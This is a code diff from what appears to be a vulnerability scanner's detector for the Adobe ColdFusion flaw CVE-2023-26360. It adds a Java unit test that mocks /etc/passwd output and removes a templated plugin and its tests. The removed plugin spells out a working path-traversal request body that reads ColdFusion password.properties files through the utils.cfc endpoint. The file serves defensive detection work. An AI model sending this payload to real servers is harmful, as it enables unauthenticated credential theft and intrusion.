org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202326360Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202326360DetectorTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-01-01T00:00:00.00Z")); + + @Inject private Cve202326360Detector detector; + + private final MockWebServer mockWebServer = new MockWebServer(); + private NetworkService service; + private TargetInfo targetInfo; + + @Before + public void setUp() throws IOException { + mockWebServer.start(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + new Cve202326360DetectorBootstrapModule()) + .injectMembers(this); + + service = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("Adobe ColdFusion")) + .setServiceName("http") + .build(); + + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .build(); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsDetection() { + MockResponse response = + new MockResponse() + .setBody( + "
" + + "root:x:0:0:root:/root:/bin/bash" + + "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" + + "bin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin" + + "sync:x:4:65534:sync:/bin:/bin/sync"); + mockWebServer.enqueue(response); + + DetectionReport actual = + detector.detect(targetInfo, ImmutableList.of(service)).getDetectionReports(0); + + DetectionReport expected = + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + + assertThat(actual).isEqualTo(expected); + } + + @Test + public void detect_whenNotVulnerable_returnsNoVulnerability() { + MockResponse response = new MockResponse().setBody("x"); + mockWebServer.enqueue(response); + mockWebServer.enqueue(response); + mockWebServer.enqueue(response); + mockWebServer.enqueue(response); + DetectionReportList findings = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(findings.getDetectionReportsList()).isEmpty(); + } +} diff --git a/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto b/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto deleted file mode 100644 index ee70a995d..000000000 --- a/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto +++ /dev/null @@ -1,156 +0,0 @@ -# proto-file: proto/templated_plugin.proto -# proto-message: TemplatedPlugin - -############### -# PLUGIN INFO # -############### - -info: { - type: VULN_DETECTION - name: "Adobe_ColdFusion_CVE_2023_26360" - author: "Robert Dick (robert@doyensec.com) templated version " - " (some modifications made from Java version) " - "jimmy-ly00 for original Java version. " - - version: "1.1" -} - -finding: { - main_id: { - publisher: "GOOGLE" - value: "CVE-2023-26360" - } - title: "Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution" - description: - "Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and" - " earlier) are affected by an Improper Access Control vulnerability that" - " could result in unauthenticated file read and arbitrary code execution" - " in the context of the current user. Exploitation of this issue does not" - " require user interaction." - recommendation: - "For Adobe ColdFusion 2018, ugrade to version Update 16 or higher" - "For Adobe ColdFusion 2021, upgrade to version Update 6 or higher" - severity: CRITICAL -} - -########### -# ACTIONS # -########### - -# One simple request that tests several local file read paths - -actions: { - name: "trigger_vuln" - http_request: { - method: POST - uri: "{{ VULN_PATH }}" - headers: [ - { - name: "Content-Type" value: "application/x-www-form-urlencoded" - } - ] - data: "{{ REQ_BODY }}" - response: { - http_status: 200 - expect_all: { - conditions: [ - { body: {} contains: "{{ COLDFUSION_FINGERPRINT }}"}, - { body: {} contains: "{{ VULN_RES_BODY }}"} - ] - } - } - } -} - -############# -# WORKFLOWS # -############# - -workflows: { - - variables: [ - - # this fingerprints coldfusion so that we know it's not some other service returning a password string - { name: "COLDFUSION_FINGERPRINT" value: ""}, - - # password.properties will contain this - { name: "VULN_RES_BODY" value: "password="}, - - { name: "VULN_PATH" value: "/CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"}, - - # Large request body to try a lot of potential paths for the password.properties file to be - { - name: "REQ_BODY" - value: - "_variables={\"a\":[{\"_metadata\":{\"classname\":\"../../../../../../" - "opt/coldfusion/cfusion/lib/password.properties\"}},{\"_metadata\":{\"c" - "lassname\":\"../../../../../../opt/ColdFusion/cfusion/lib/password.pro" - "perties\"}},{\"_metadata\":{\"classname\":\"../../../../../../opt/Cold" - "Fusion8/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classnam" - "e\":\"../../../../../../opt/coldfusion8/cfusion/lib/password.propertie" - "s\"}},{\"_metadata\":{\"classname\":\"../../../../../../opt/coldfusion" - "9/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"" - "../../../../../../opt/ColdFusion9/cfusion/lib/password.properties\"}}," - "{\"_metadata\":{\"classname\":\"../../../../../../opt/coldfusion10/cfu" - "sion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../.." - "/../../../../opt/ColdFusion10/cfusion/lib/password.properties\"}},{\"_" - "metadata\":{\"classname\":\"../../../../../../opt/coldfusion11/cfusion" - "/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../" - "../../../opt/ColdFusion11/cfusion/lib/password.properties\"}},{\"_meta" - "data\":{\"classname\":\"../../../../../../opt/coldfusion2016/cfusion/l" - "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." - "/../../opt/ColdFusion2016/cfusion/lib/password.properties\"}},{\"_meta" - "data\":{\"classname\":\"../../../../../../opt/coldfusion2018/cfusion/l" - "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." - "/../../opt/ColdFusion2018/cfusion/lib/password.properties\"}},{\"_meta" - "data\":{\"classname\":\"../../../../../../opt/coldfusion2021/cfusion/l" - "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." - "/../../opt/ColdFusion2021/cfusion/lib/password.properties\"}},{\"_meta" - "data\":{\"classname\":\"../../../../../../opt/coldfusion2022/cfusion/l" - "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." - "/../../opt/ColdFusion2021/cfusion/lib/password.properties\"}},{\"_meta" - "data\":{\"classname\":\"../../../../../../opt/coldfusion2023/cfusion/l" - "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." - "/../../opt/ColdFusion2023/cfusion/lib/password.properties\"}},{\"_meta" - "data\":{\"classname\":\"../../../../../../coldfusion/cfusion/lib/passw" - "ord.properties\"}},{\"_metadata\":{\"classname\":\"../../../../../../C" - "oldFusion/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classn" - "ame\":\"../../../../../../ColdFusion8/cfusion/lib/password.properties\"" - "}},{\"_metadata\":{\"classname\":\"../../../../../../coldfusion8/cfusi" - "on/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../." - "./../../../coldfusion9/cfusion/lib/password.properties\"}},{\"_metadat" - "a\":{\"classname\":\"../../../../../../ColdFusion9/cfusion/lib/passwor" - "d.properties\"}},{\"_metadata\":{\"classname\":\"../../../../../../col" - "dfusion10/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classn" - "ame\":\"../../../../../../ColdFusion10/cfusion/lib/password.properties" - "\"}},{\"_metadata\":{\"classname\":\"../../../../../../coldfusion11/cf" - "usion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../." - "./../../../../ColdFusion11/cfusion/lib/password.properties\"}},{\"_met" - "adata\":{\"classname\":\"../../../../../../coldfusion2016/cfusion/lib/" - "password.properties\"}},{\"_metadata\":{\"classname\":\"../../../../.." - "/../ColdFusion2016/cfusion/lib/password.properties\"}},{\"_metadata\":" - "{\"classname\":\"../../../../../../coldfusion2018/cfusion/lib/password" - ".properties\"}},{\"_metadata\":{\"classname\":\"../../../../../../Cold" - "Fusion2018/cfusion/lib/password.properties\"}},{\"_metadata\":{\"class" - "name\":\"../../../../../../coldfusion2021/cfusion/lib/password.propert" - "ies\"}},{\"_metadata\":{\"classname\":\"../../../../../../ColdFusion20" - "21/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"" - "../../../../../../coldfusion2022/cfusion/lib/password.properties\"}},{" - "\"_metadata\":{\"classname\":\"../../../../../../ColdFusion2021/cfusio" - "n/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../.." - "/../../../coldfusion2023/cfusion/lib/password.properties\"}},{\"_metad" - "ata\":{\"classname\":\"../../../../../../ColdFusion2023/cfusion/lib/pa" - "ssword.properties\"}},{\"_metadata\":{\"classname\":\"a/../lib/passwor" - "d.properties\"}},{\"_metadata\":{\"classname\":\"a/../../lib/password." - "properties\"}},{\"_metadata\":{\"classname\":\"a/../../../lib/password" - ".properties\"}}]}" - } - ] - actions: [ - "trigger_vuln" - ] -} - -config: { - debug: true -} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto b/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto deleted file mode 100644 index ec4639e1e..000000000 --- a/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto +++ /dev/null @@ -1,31 +0,0 @@ -# proto-file: proto/templated_plugin_tests.proto -# proto-message: TemplatedPluginTests - -config: { - tested_plugin: "Adobe_ColdFusion_CVE_2023_26360" -} - -tests: { - name: "whenVulnLinuxPath1_returnsVuln" - expect_vulnerability: true - - mock_http_server: { - mock_responses: [ - { - uri: "/CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx" - status: 200 - body_content: - "...\n" - "#Thu Apr 16 12:34:40 GMT 2026\n" - "password=NOTAREALPASSWORD...\n" - "rdspassword=" - }, - { - uri: "TSUNAMI_MAGIC_ANY_URI" - status: 200 - body_content: "anything" - } - ] - } -} -